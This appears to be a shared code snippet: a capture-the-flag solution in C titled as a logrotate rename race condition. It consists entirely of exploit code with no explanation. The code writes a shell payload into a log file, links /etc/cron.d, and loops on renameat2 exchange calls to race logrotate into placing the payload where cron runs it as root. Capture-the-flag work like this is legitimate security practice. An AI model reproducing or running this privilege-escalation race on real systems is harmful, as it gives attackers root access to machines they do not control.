Created
January 1, 2019 16:32
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35c3 CTF - logrotate - rename race condition
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| #include <stdlib.h> | |
| #include <unistd.h> | |
| #include <fcntl.h> | |
| #include <stdio.h> | |
| #include <string.h> | |
| #include <sys/stat.h> | |
| #include <sys/types.h> | |
| #include <sys/syscall.h> | |
| #include <linux/fs.h> | |
| void race() { | |
| int fd, status; | |
| char data[1200]; | |
| strcpy(data, "#!/bin/sh\ncat /flag > /tmp/flag; chmod 777 /tmp/flag;#"); | |
| mkdir("/tmp/log", S_IRUSR | S_IWUSR | S_IXUSR); | |
| fd = open("/tmp/log/pwnme.log", O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IXUSR | S_IXGRP | S_IXOTH ); | |
| status = write(fd, data, sizeof(data)); | |
| close(fd); | |
| symlink("/etc/cron.d/", "/tmp/link"); | |
| int dir_fd = open("/tmp/log", O_DIRECTORY | O_RDONLY); | |
| int link_fd = open("/tmp/link", O_RDONLY); | |
| while(1) { | |
| syscall(SYS_renameat2, link_fd, "/tmp/link", dir_fd, "/tmp/log", RENAME_EXCHANGE); | |
| } | |
| } | |
| int main() { | |
| race(); | |
| } |
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